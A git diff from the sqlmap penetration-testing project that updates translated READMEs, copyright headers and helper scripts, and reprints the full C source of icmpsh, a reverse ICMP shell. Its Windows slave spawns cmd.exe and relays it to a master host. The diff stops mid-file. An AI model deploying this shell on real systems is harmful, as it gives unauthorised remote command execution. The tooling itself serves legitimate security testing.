git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap hoạt động hiệu quả với [Python](http://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì nền tảng nào.
+sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.7** và **3.x** trên bất kì hệ điều hành nào.
Sử dụng
----
-Để có được danh sách các tùy chọn cơ bản, hãy sử dụng:
+Để có được danh sách các tùy chọn cơ bản và switch, hãy chạy:
python sqlmap.py -h
-Để có được danh sách tất cả các tùy chọn, hãy sử dụng:
+Để có được danh sách tất cả các tùy chọn và switch, hãy chạy:
python sqlmap.py -hh
-Bạn có thể tìm thấy video chạy mẫu [tại đây](https://asciinema.org/a/46601).
-Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh).
+Bạn có thể xem video demo [tại đây](https://asciinema.org/a/46601).
+Để có cái nhìn tổng quan về sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh).
Liên kết
----
-* Trang chủ: http://sqlmap.org
+* Trang chủ: https://sqlmap.org
* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
-* Lịch sử thay nguồn đổi cấp dữ liệu RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues
+* Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Theo dõi issue: https://github.com/sqlmapproject/sqlmap/issues
* Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md
index 76d4136108f..b065c10a0fa 100644
--- a/doc/translations/README-zh-CN.md
+++ b/doc/translations/README-zh-CN.md
@@ -1,26 +1,26 @@
-# sqlmap
+# sqlmap 
-[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
-sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
+sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。
演示截图
----

-你可以访问 wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看各种用法的演示
+你可以查看 wiki 上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 了解各种用法的示例
安装方法
----
-你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码.
+你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包好的源代码,或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包好的源代码.
-推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码:
+推荐直接从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6**, **2.7** 和 **3.x** 版本的任何平台上
+sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 **3.x** 版本的任何平台上
使用方法
----
@@ -33,17 +33,17 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6**, **2.7
python sqlmap.py -hh
-你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。
+你可以从 [这里](https://asciinema.org/a/46601) 看到一个 sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取 sqlmap 所有支持的特性、参数、命令行选项开关及详细的使用帮助。
链接
----
-* 项目主页: http://sqlmap.org
+* 项目主页: https://sqlmap.org
* 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
-* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Commit的 RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* 问题跟踪器: https://github.com/sqlmapproject/sqlmap/issues
* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
-* 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* X: [@sqlmap](https://x.com/sqlmap)
+* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/extra/__init__.py b/extra/__init__.py
index f5f6aa0e910..bcac841631b 100644
--- a/extra/__init__.py
+++ b/extra/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py
index f5f6aa0e910..bcac841631b 100644
--- a/extra/beep/__init__.py
+++ b/extra/beep/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/beep/beep.py b/extra/beep/beep.py
index 7eed25585b1..9e1acd04b0d 100644
--- a/extra/beep/beep.py
+++ b/extra/beep/beep.py
@@ -3,7 +3,7 @@
"""
beep.py - Make a beep sound
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -18,7 +18,7 @@ def beep():
if sys.platform.startswith("win"):
_win_wav_play(BEEP_WAV_FILENAME)
elif sys.platform.startswith("darwin"):
- _mac_beep()
+ _mac_wav_play(BEEP_WAV_FILENAME)
elif sys.platform.startswith("cygwin"):
_cygwin_beep(BEEP_WAV_FILENAME)
elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")):
@@ -40,9 +40,8 @@ def _speaker_beep():
def _cygwin_beep(filename):
os.system("play-sound-file '%s' 2>/dev/null" % filename)
-def _mac_beep():
- import Carbon.Snd
- Carbon.Snd.SysBeep(1)
+def _mac_wav_play(filename):
+ os.system("afplay '%s' 2>/dev/null" % BEEP_WAV_FILENAME)
def _win_wav_play(filename):
import winsound
@@ -50,7 +49,7 @@ def _win_wav_play(filename):
winsound.PlaySound(filename, winsound.SND_FILENAME)
def _linux_wav_play(filename):
- for _ in ("aplay", "paplay", "play"):
+ for _ in ("paplay", "aplay", "mpv", "mplayer", "play"):
if not os.system("%s '%s' 2>/dev/null" % (_, filename)):
return
diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py
index f5f6aa0e910..bcac841631b 100644
--- a/extra/cloak/__init__.py
+++ b/extra/cloak/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py
index ab20d39b29f..641d1c51635 100644
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -3,7 +3,7 @@
"""
cloak.py - Simple file encryption/compression utility
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -21,7 +21,7 @@
xrange = range
ord = lambda _: _
-KEY = b"cwRAopWDYixMeqs3"
+KEY = b"wr36EPIvaR7ZDfb4"
def xor(message, key):
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py
index f5f6aa0e910..bcac841631b 100644
--- a/extra/dbgtool/__init__.py
+++ b/extra/dbgtool/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py
index b04f05d20ac..7cdb11b70c1 100644
--- a/extra/dbgtool/dbgtool.py
+++ b/extra/dbgtool/dbgtool.py
@@ -3,7 +3,7 @@
"""
dbgtool.py - Portable executable to ASCII debug script converter
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/icmpsh/README.txt b/extra/icmpsh/README.txt
index 631f9ee377f..d09e83b8552 100644
--- a/extra/icmpsh/README.txt
+++ b/extra/icmpsh/README.txt
@@ -1,45 +1,45 @@
-icmpsh - simple reverse ICMP shell
-
-icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl.
-
-
---- Running the Master ---
-
-The master is straight forward to use. There are no extra libraries required for the C version.
-The Perl master however has the following dependencies:
-
- * IO::Socket
- * NetPacket::IP
- * NetPacket::ICMP
-
-
-When running the master, don't forget to disable ICMP replies by the OS. For example:
-
- sysctl -w net.ipv4.icmp_echo_ignore_all=1
-
-If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive
-commands send from the master.
-
-
---- Running the Slave ---
-
-The slave comes with a few command line options as outlined below:
-
-
--t host host ip address to send ping requests to. This option is mandatory!
-
--r send a single test icmp request containing the string "Test1234" and then quit.
- This is for testing the connection.
-
--d milliseconds delay between requests in milliseconds
-
--o milliseconds timeout of responses in milliseconds. If a response has not received in time,
- the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
- The counter is set back to 0 if a response was received.
-
--b num limit of blanks (unanswered icmp requests before quitting
-
--s bytes maximal data buffer size in bytes
-
-
-In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer.
+icmpsh - simple reverse ICMP shell
+
+icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl.
+
+
+--- Running the Master ---
+
+The master is straight forward to use. There are no extra libraries required for the C version.
+The Perl master however has the following dependencies:
+
+ * IO::Socket
+ * NetPacket::IP
+ * NetPacket::ICMP
+
+
+When running the master, don't forget to disable ICMP replies by the OS. For example:
+
+ sysctl -w net.ipv4.icmp_echo_ignore_all=1
+
+If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive
+commands send from the master.
+
+
+--- Running the Slave ---
+
+The slave comes with a few command line options as outlined below:
+
+
+-t host host ip address to send ping requests to. This option is mandatory!
+
+-r send a single test icmp request containing the string "Test1234" and then quit.
+ This is for testing the connection.
+
+-d milliseconds delay between requests in milliseconds
+
+-o milliseconds timeout of responses in milliseconds. If a response has not received in time,
+ the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
+ The counter is set back to 0 if a response was received.
+
+-b num limit of blanks (unanswered icmp requests before quitting
+
+-s bytes maximal data buffer size in bytes
+
+
+In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer.
diff --git a/extra/icmpsh/icmpsh-m.c b/extra/icmpsh/icmpsh-m.c
index 32c3edb7429..95deb603bc0 100644
--- a/extra/icmpsh/icmpsh-m.c
+++ b/extra/icmpsh/icmpsh-m.c
@@ -1,134 +1,134 @@
-/*
- * icmpsh - simple icmp command shell
- * Copyright (c) 2010, Nico Leidecker
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see .
- */
-
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-#include
-
-#define IN_BUF_SIZE 1024
-#define OUT_BUF_SIZE 64
-
-// calculate checksum
-unsigned short checksum(unsigned short *ptr, int nbytes)
-{
- unsigned long sum;
- unsigned short oddbyte, rs;
-
- sum = 0;
- while(nbytes > 1) {
- sum += *ptr++;
- nbytes -= 2;
- }
-
- if(nbytes == 1) {
- oddbyte = 0;
- *((unsigned char *) &oddbyte) = *(u_char *)ptr;
- sum += oddbyte;
- }
-
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- rs = ~sum;
- return rs;
-}
-
-int main(int argc, char **argv)
-{
- int sockfd;
- int flags;
- char in_buf[IN_BUF_SIZE];
- char out_buf[OUT_BUF_SIZE];
- unsigned int out_size;
- int nbytes;
- struct iphdr *ip;
- struct icmphdr *icmp;
- char *data;
- struct sockaddr_in addr;
-
-
- printf("icmpsh - master\n");
-
- // create raw ICMP socket
- sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
- if (sockfd == -1) {
- perror("socket");
- return -1;
- }
-
- // set stdin to non-blocking
- flags = fcntl(0, F_GETFL, 0);
- flags |= O_NONBLOCK;
- fcntl(0, F_SETFL, flags);
-
- printf("running...\n");
- while(1) {
-
- // read data from socket
- memset(in_buf, 0x00, IN_BUF_SIZE);
- nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
- if (nbytes > 0) {
- // get ip and icmp header and data part
- ip = (struct iphdr *) in_buf;
- if (nbytes > sizeof(struct iphdr)) {
- nbytes -= sizeof(struct iphdr);
- icmp = (struct icmphdr *) (ip + 1);
- if (nbytes > sizeof(struct icmphdr)) {
- nbytes -= sizeof(struct icmphdr);
- data = (char *) (icmp + 1);
- data[nbytes] = '\0';
- printf("%s", data);
- fflush(stdout);
- }
-
- // reuse headers
- icmp->type = 0;
- addr.sin_family = AF_INET;
- addr.sin_addr.s_addr = ip->saddr;
-
- // read data from stdin
- nbytes = read(0, out_buf, OUT_BUF_SIZE);
- if (nbytes > -1) {
- memcpy((char *) (icmp + 1), out_buf, nbytes);
- out_size = nbytes;
- } else {
- out_size = 0;
- }
-
- icmp->checksum = 0x00;
- icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
-
- // send reply
- nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
- if (nbytes == -1) {
- perror("sendto");
- return -1;
- }
- }
- }
- }
-
- return 0;
-}
-
+/*
+ * icmpsh - simple icmp command shell
+ * Copyright (c) 2010, Nico Leidecker
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see .
+ */
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define IN_BUF_SIZE 1024
+#define OUT_BUF_SIZE 64
+
+// calculate checksum
+unsigned short checksum(unsigned short *ptr, int nbytes)
+{
+ unsigned long sum;
+ unsigned short oddbyte, rs;
+
+ sum = 0;
+ while(nbytes > 1) {
+ sum += *ptr++;
+ nbytes -= 2;
+ }
+
+ if(nbytes == 1) {
+ oddbyte = 0;
+ *((unsigned char *) &oddbyte) = *(u_char *)ptr;
+ sum += oddbyte;
+ }
+
+ sum = (sum >> 16) + (sum & 0xffff);
+ sum += (sum >> 16);
+ rs = ~sum;
+ return rs;
+}
+
+int main(int argc, char **argv)
+{
+ int sockfd;
+ int flags;
+ char in_buf[IN_BUF_SIZE];
+ char out_buf[OUT_BUF_SIZE];
+ unsigned int out_size;
+ int nbytes;
+ struct iphdr *ip;
+ struct icmphdr *icmp;
+ char *data;
+ struct sockaddr_in addr;
+
+
+ printf("icmpsh - master\n");
+
+ // create raw ICMP socket
+ sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
+ if (sockfd == -1) {
+ perror("socket");
+ return -1;
+ }
+
+ // set stdin to non-blocking
+ flags = fcntl(0, F_GETFL, 0);
+ flags |= O_NONBLOCK;
+ fcntl(0, F_SETFL, flags);
+
+ printf("running...\n");
+ while(1) {
+
+ // read data from socket
+ memset(in_buf, 0x00, IN_BUF_SIZE);
+ nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
+ if (nbytes > 0) {
+ // get ip and icmp header and data part
+ ip = (struct iphdr *) in_buf;
+ if (nbytes > sizeof(struct iphdr)) {
+ nbytes -= sizeof(struct iphdr);
+ icmp = (struct icmphdr *) (ip + 1);
+ if (nbytes > sizeof(struct icmphdr)) {
+ nbytes -= sizeof(struct icmphdr);
+ data = (char *) (icmp + 1);
+ data[nbytes] = '\0';
+ printf("%s", data);
+ fflush(stdout);
+ }
+
+ // reuse headers
+ icmp->type = 0;
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = ip->saddr;
+
+ // read data from stdin
+ nbytes = read(0, out_buf, OUT_BUF_SIZE);
+ if (nbytes > -1) {
+ memcpy((char *) (icmp + 1), out_buf, nbytes);
+ out_size = nbytes;
+ } else {
+ out_size = 0;
+ }
+
+ icmp->checksum = 0x00;
+ icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
+
+ // send reply
+ nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
+ if (nbytes == -1) {
+ perror("sendto");
+ return -1;
+ }
+ }
+ }
+ }
+
+ return 0;
+}
+
diff --git a/extra/icmpsh/icmpsh-s.c b/extra/icmpsh/icmpsh-s.c
index af30618f9b5..c108509774d 100644
--- a/extra/icmpsh/icmpsh-s.c
+++ b/extra/icmpsh/icmpsh-s.c
@@ -1,344 +1,344 @@
-/*
- * icmpsh - simple icmp command shell
- * Copyright (c) 2010, Nico Leidecker
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program. If not, see .
- */
-
-
-#include
-#include
-#include
-#include
-#include
-#include
-
-#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
-
-#define STATUS_OK 0
-#define STATUS_SINGLE 1
-#define STATUS_PROCESS_NOT_CREATED 2
-
-#define TRANSFER_SUCCESS 1
-#define TRANSFER_FAILURE 0
-
-#define DEFAULT_TIMEOUT 3000
-#define DEFAULT_DELAY 200
-#define DEFAULT_MAX_BLANKS 10
-#define DEFAULT_MAX_DATA_SIZE 64
-
-FARPROC icmp_create, icmp_send, to_ip;
-
-int verbose = 0;
-
-int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
-{
- SECURITY_ATTRIBUTES sattr;
- STARTUPINFOA si;
- HANDLE in_read, out_write;
-
- memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
- memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
-
- // create communication pipes
- memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
- sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
- sattr.bInheritHandle = TRUE;
- sattr.lpSecurityDescriptor = NULL;
-
- if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
- if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
- if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- // spawn process
- memset(&si, 0x00, sizeof(STARTUPINFO));
- si.cb = sizeof(STARTUPINFO);
- si.hStdError = out_write;
- si.hStdOutput = out_write;
- si.hStdInput = in_read;
- si.dwFlags |= STARTF_USESTDHANDLES;
-
- if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
- return STATUS_PROCESS_NOT_CREATED;
- }
-
- CloseHandle(out_write);
- CloseHandle(in_read);
-
- return STATUS_OK;
-}
-
-void usage(char *path)
-{
- printf("%s [options] -t target\n", path);
- printf("options:\n");
- printf(" -t host host ip address to send ping requests to\n");
- printf(" -r send a single test icmp request and then quit\n");
- printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
- printf(" -o milliseconds timeout in milliseconds\n");
- printf(" -h this screen\n");
- printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
- printf(" before quitting\n");
- printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
- printf("In order to improve the speed, lower the delay (-d) between requests or\n");
- printf("increase the size (-s) of the data buffer\n");
-}
-
-void create_icmp_channel(HANDLE *icmp_chan)
-{
- // create icmp file
- *icmp_chan = (HANDLE) icmp_create();
-}
-
-int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
-{
- int rs;
- char *temp_in_buf;
- int nbytes;
-
- PICMP_ECHO_REPLY echo_reply;
-
- temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
- if (!temp_in_buf) {
- return TRANSFER_FAILURE;
- }
-
- // send data to remote host
- rs = icmp_send(
- icmp_chan,
- target,
- out_buf,
- out_buf_size,
- NULL,
- temp_in_buf,
- max_in_data_size + ICMP_HEADERS_SIZE,
- timeout);
-
- // check received data
- if (rs > 0) {
- echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
- if (echo_reply->DataSize > max_in_data_size) {
- nbytes = max_in_data_size;
- } else {
- nbytes = echo_reply->DataSize;
- }
- memcpy(in_buf, echo_reply->Data, nbytes);
- *in_buf_size = nbytes;
-
- free(temp_in_buf);
- return TRANSFER_SUCCESS;
- }
-
- free(temp_in_buf);
-
- return TRANSFER_FAILURE;
-}
-
-int load_deps()
-{
- HMODULE lib;
-
- lib = LoadLibraryA("ws2_32.dll");
- if (lib != NULL) {
- to_ip = GetProcAddress(lib, "inet_addr");
- if (!to_ip) {
- return 0;
- }
- }
-
- lib = LoadLibraryA("iphlpapi.dll");
- if (lib != NULL) {
- icmp_create = GetProcAddress(lib, "IcmpCreateFile");
- icmp_send = GetProcAddress(lib, "IcmpSendEcho");
- if (icmp_create && icmp_send) {
- return 1;
- }
- }
-
- lib = LoadLibraryA("ICMP.DLL");
- if (lib != NULL) {
- icmp_create = GetProcAddress(lib, "IcmpCreateFile");
- icmp_send = GetProcAddress(lib, "IcmpSendEcho");
- if (icmp_create && icmp_send) {
- return 1;
- }
- }
-
- printf("failed to load functions (%u)", GetLastError());
-
- return 0;
-}
-int main(int argc, char **argv)
-{
- int opt;
- char *target;
- unsigned int delay, timeout;
- unsigned int ip_addr;
- HANDLE pipe_read, pipe_write;
- HANDLE icmp_chan;
- unsigned char *in_buf, *out_buf;
- unsigned int in_buf_size, out_buf_size;
- DWORD rs;
- int blanks, max_blanks;
- PROCESS_INFORMATION pi;
- int status;
- unsigned int max_data_size;
-
- // set defaults
- target = 0;
- timeout = DEFAULT_TIMEOUT;
- delay = DEFAULT_DELAY;
- max_blanks = DEFAULT_MAX_BLANKS;
- max_data_size = DEFAULT_MAX_DATA_SIZE;
-
- status = STATUS_OK;
- if (!load_deps()) {
- printf("failed to load ICMP library\n");
- return -1;
- }
-
- // parse command line options
- for (opt = 1; opt < argc; opt++) {
- if (argv[opt][0] == '-') {
- switch(argv[opt][1]) {
- case 'h':
- usage(*argv);
- return 0;
- case 't':
- if (opt + 1 < argc) {
- target = argv[opt + 1];
- }
- break;
- case 'd':
- if (opt + 1 < argc) {
- delay = atol(argv[opt + 1]);
- }
- break;
- case 'o':
- if (opt + 1 < argc) {
- timeout = atol(argv[opt + 1]);
- }
- break;
- case 'r':
- status = STATUS_SINGLE;
- break;
- case 'b':
- if (opt + 1 < argc) {
- max_blanks = atol(argv[opt + 1]);
- }
- break;
- case 's':
- if (opt + 1 < argc) {
- max_data_size = atol(argv[opt + 1]);
- }
- break;
- default:
- printf("unrecognized option -%c\n", argv[1][0]);
- usage(*argv);
- return -1;
- }
- }
- }
-
- if (!target) {
- printf("you need to specify a host with -t. Try -h for more options\n");
- return -1;
- }
- ip_addr = to_ip(target);
-
- // don't spawn a shell if we're only sending a single test request
- if (status != STATUS_SINGLE) {
- status = spawn_shell(&pi, &pipe_read, &pipe_write);
- }
-
- // create icmp channel
- create_icmp_channel(&icmp_chan);
- if (icmp_chan == INVALID_HANDLE_VALUE) {
- printf("unable to create ICMP file: %u\n", GetLastError());
- return -1;
- }
-
- // allocate transfer buffers
- in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
- out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
- if (!in_buf || !out_buf) {
- printf("failed to allocate memory for transfer buffers\n");
- return -1;
- }
- memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
- memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
-
- // sending/receiving loop
- blanks = 0;
- do {
-
- switch(status) {
- case STATUS_SINGLE:
- // reply with a static string
- out_buf_size = sprintf(out_buf, "Test1234\n");
- break;
- case STATUS_PROCESS_NOT_CREATED:
- // reply with error message
- out_buf_size = sprintf(out_buf, "Process was not created\n");
- break;
- default:
- // read data from process via pipe
- out_buf_size = 0;
- if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
- if (out_buf_size > 0) {
- out_buf_size = 0;
- rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
- if (!rs && GetLastError() != ERROR_IO_PENDING) {
- out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
- }
- }
- } else {
- out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
- }
- break;
- }
-
- // send request/receive response
- if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
- if (status == STATUS_OK) {
- // write data from response back into pipe
- WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
- }
- blanks = 0;
- } else {
- // no reply received or error occured
- blanks++;
- }
-
- // wait between requests
- Sleep(delay);
-
- } while (status == STATUS_OK && blanks < max_blanks);
-
- if (status == STATUS_OK) {
- TerminateProcess(pi.hProcess, 0);
- }
-
- return 0;
-}
-
+/*
+ * icmpsh - simple icmp command shell
+ * Copyright (c) 2010, Nico Leidecker
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
